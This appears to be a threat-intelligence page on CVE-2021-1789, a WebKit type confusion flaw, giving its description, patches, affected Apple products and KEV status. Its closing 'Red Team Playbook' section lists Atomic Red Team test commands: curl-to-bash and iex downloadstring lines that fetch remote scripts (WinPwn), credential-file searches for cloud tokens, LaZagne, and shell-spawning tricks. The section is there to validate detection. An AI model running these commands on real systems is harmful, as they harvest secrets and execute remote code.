CVE-2021-1789
Overview
This vulnerability is a type confusion flaw arising from improper state management within the Apple WebKit engine that processes web content. The root cause is the mishandling of object types during runtime, leading to incorrect assumptions about data structures. Affected components include the WebKit rendering engine used in iOS, iPadOS, macOS, tvOS, watchOS, and Safari browsers.
Vulnerability Description
A type confusion issue was addressed with improved state handling. This issue is fixed in macOS Big Sur 11.2, Security Update 2021-001 Catalina, Security Update 2021-001 Mojave, tvOS 14.4, watchOS 7.3, iOS 14.4 and iPadOS 14.4, Safari 14.0.3. Processing maliciously crafted web content may lead to arbitrary code execution.
Impact
An attacker can execute arbitrary code within the context of the affected device by convincing a user to visit a malicious web page or open crafted web content. This requires user interaction but no prior authentication or elevated privileges. Successful exploitation can lead to full system compromise, including unauthorized access to sensitive data and control over device functionality, posing significant risk to user privacy and device integrity.
Solution
Apple has addressed this issue in updates including macOS Big Sur 11.2, Security Update 2021-001 for Catalina and Mojave, iOS 14.4, iPadOS 14.4, tvOS 14.4, watchOS 7.3, and Safari 14.0.3. Users and administrators should apply these updates promptly. Detailed patch instructions and advisory information are available at Apple's official security support pages: https://support.apple.com/en-us/HT212147, https://support.apple.com/en-us/HT212146, and https://support.apple.com/en-us/HT212148.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A type confusion vulnerability in Apple's software ecosystem allows an attacker to manipulate the way data types are handled within the system, potentially leading to arbitrary code execution. This flaw arises from improper state handling, where the software does not correctly validate the types of objects being processed. When maliciously crafted web content is processed, it can exploit this weakness, enabling an attacker to execute arbitrary code with the same privileges as the user running the affected application. This vulnerability affects a wide range of Apple products, including macOS, iOS, iPadOS, tvOS, and watchOS, making it a significant concern for users across various devices.
The primary attack vector for this vulnerability is through web content, where an attacker can craft a malicious webpage designed to exploit the type confusion flaw. Users visiting such a page could unwittingly trigger the vulnerability, leading to the execution of arbitrary code. This could be achieved through various means, such as phishing attacks that lure users to click on a link or through compromised websites that serve malicious content. Additionally, the vulnerability could be exploited through third-party applications that utilize the affected web rendering engine, broadening the potential for exploitation beyond just web browsers.
The real-world impact of this vulnerability is substantial, particularly for businesses that rely on Apple devices for their operations. Successful exploitation could lead to unauthorized access to sensitive data, installation of malware, or complete system compromise. For organizations, this translates into significant business risks, including data breaches, loss of intellectual property, and potential regulatory fines. Furthermore, the reputational damage from a successful attack could erode customer trust and lead to long-term financial consequences. Given the high CVSS score associated with this vulnerability, it is imperative for businesses to prioritize its mitigation.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular software updates and patches are crucial, as Apple has released updates to address this issue across its product lines. Employing web filtering solutions can help block access to known malicious sites, while endpoint protection tools can detect and respond to suspicious activities indicative of exploitation attempts. Additionally, user education is vital; training employees to recognize phishing attempts and the dangers of visiting untrusted websites can significantly reduce the likelihood of exploitation.
In conclusion, the type confusion vulnerability presents a serious threat to users of Apple's software ecosystem. Its ability to allow arbitrary code execution through malicious web content underscores the importance of robust security practices. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare themselves to defend against such vulnerabilities. Proactive detection and mitigation strategies will be essential in safeguarding sensitive information and maintaining operational integrity in an increasingly complex threat landscape.
CSURFACE threat intelligence has detected a marked escalation in the exploit prediction scoring for CVE-2021-1789, with the EPSS value surging dramatically to place this vulnerability in the top percentile of predicted exploitation likelihood. This significant increase reflects a rapidly growing interest or capability among threat actors to leverage this type confusion flaw for arbitrary code execution, despite no new public exploit details emerging. The upward trend in EPSS suggests that adversaries may be developing or testing exploits in controlled environments, signaling a potential shift from theoretical risk to active exploitation attempts. For defenders, this heightened risk level underscores the urgency of monitoring for related attack patterns and reinforces the criticality of maintaining up-to-date patching across affected Apple platforms. The evolving threat landscape now positions CVE-2021-1789 as a more imminent concern, warranting increased vigilance in detection and response efforts.
Affected Products (26)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
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Apple | Mac Os X | All |
cpe:2.3:o:apple:mac_os_x:*:*:*:*:*:*:*:*
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Apple | Mac Os X | All |
cpe:2.3:o:apple:mac_os_x:*:*:*:*:*:*:*:*
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Apple | Mac Os X | 10.14.6 |
cpe:2.3:o:apple:mac_os_x:10.14.6:-:*:*:*:*:*:*
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Apple | Mac Os X | 10.14.6 |
cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-004:*:*:*:*:*:*
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Apple | Mac Os X | 10.14.6 |
cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-005:*:*:*:*:*:*
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Apple | Mac Os X | 10.14.6 |
cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-006:*:*:*:*:*:*
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Apple | Mac Os X | 10.14.6 |
cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2019-007:*:*:*:*:*:*
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Apple | Mac Os X | 10.14.6 |
cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-001:*:*:*:*:*:*
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Apple | Mac Os X | 10.14.6 |
cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-002:*:*:*:*:*:*
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Apple | Mac Os X | 10.14.6 |
cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-003:*:*:*:*:*:*
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Apple | Mac Os X | 10.14.6 |
cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-004:*:*:*:*:*:*
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Apple | Mac Os X | 10.14.6 |
cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-005:*:*:*:*:*:*
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Apple | Mac Os X | 10.14.6 |
cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-006:*:*:*:*:*:*
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Apple | Mac Os X | 10.14.6 |
cpe:2.3:o:apple:mac_os_x:10.14.6:security_update_2020-007:*:*:*:*:*:*
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Apple | Mac Os X | 10.14.6 |
cpe:2.3:o:apple:mac_os_x:10.14.6:supplemental_update:*:*:*:*:*:*
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Apple | Mac Os X | 10.14.6 |
cpe:2.3:o:apple:mac_os_x:10.14.6:supplemental_update_2:*:*:*:*:*:*
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Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:-:*:*:*:*:*:*
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Apple | Mac Os X | 10.15.7 |
cpe:2.3:o:apple:mac_os_x:10.15.7:supplemental_update:*:*:*:*:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.